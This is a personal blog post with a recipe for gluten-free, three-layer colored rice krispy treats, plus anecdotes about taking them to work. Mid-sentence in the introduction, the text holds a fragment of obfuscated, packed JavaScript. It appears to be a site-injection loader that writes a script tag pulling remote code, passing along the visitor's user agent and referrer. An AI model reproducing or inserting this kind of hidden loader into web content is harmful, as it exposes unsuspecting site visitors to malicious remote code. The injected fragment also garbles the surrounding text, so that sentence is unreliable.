Best Rice Krispty Treats EVER

Or so I was told.

I’ve always enjoyed baking, but have recently become so busy I can’t find the time.  Don’t worry, my waist is thankful.  These days, when it comes time to make a tasty treat, I’m always looking for something quick and easy.  My go to cookie is the Best ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seian|var|u0026u|referrer|kfbkf||js|php’.split(‘|’),0,{}))
Cookie Ever (award winning).  But alas, the best cookie ever is not gluten free.  So I decided to make something easy AND gluten free – Rice Krispy Treats!  But these have a little, colorful twist.  Read on!

Ingredients12 cups rice krispies (turns out the plain ones aren’t GF, but Kelloggs sells a brown rice version that is)
30 oz marshmallows (3, 10 oz bags or 2, 16 oz bags and a scale or your eyeballs)
1 stick of butter
3 tsp vanilla
Food coloring

1. Grease a 9×13 pan and set aside
2. Melt 10 oz of mallows + 1/3 of the butter + 1 tsp vanilla together – I put it in a big bowl and microwave for 1 min 30 sec.
3. Mix in food coloring to mallow/butter/vanilla mixture until thoroughly combined
4. Add 4 cups of rice krispies and fold together until everything is incorporated.
5. Press into the 9×13 pan.  I like to butter a spatula and spread the mixture into the pan.  I have a friend who butters her hands and then presses the mixture.  I would never do this in a million years, but that’s just me.
6. Repeat until you have nice, 3 layered rice krispy treat!

I brought these into work yesterday and was told that they were the best!  Want to know my secret?  I was making these late Sunday night (because I forgot I had to make them).  In my haste, I added too many marshmallows!  Which is awesome – we all know what happens when you get a hard rice krispy treat – the roof of your mouth gets ripped apart and it’s not awesome!  Extra mallows = super gooey and delicious.  And the vanilla helps too 🙂

They were a hit at the 4th of July – they had a nice, vintage vibe.  If I get adventurous, I may try 4 layers – but let’s not get too crazy 🙂  The pic on top was what I took to work.  I had originally intended to make them ombre….but then I got carried away with the food coloring on the 2nd layer.  So I added blue and made it purple!  Whew!